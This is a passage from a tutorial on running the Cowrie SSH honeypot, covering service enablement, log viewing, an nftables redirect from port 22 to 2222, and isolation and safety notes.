Enable it:

1
2
sudo systemctl daemon-reload
sudo systemctl enable --now cowrie

Logs

1
2
journalctl -u cowrie -e --no-pager
sudo -iu cowrie tail -f ~/cowrie/var/log/cowrie/cowrie.json

The JSON log is usually the most useful file for later analysis.

Firewall Or Port Forwarding

If Cowrie listens on 2222, a simple redirect can expose it as port 22:

1
2
3
4
5
6
table ip nat {
chain prerouting {
type nat hook prerouting priority dstnat;
tcp dport 22 redirect to :2222
}
}

Only do this if the real SSH service is moved somewhere else, such as 22222.

Notes

  • Do not reuse real hostnames, banners, usernames, or internal paths.
  • Logs can contain malicious payloads. Treat them as untrusted input.
  • Keep the honeypot isolated from important credentials and services.
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE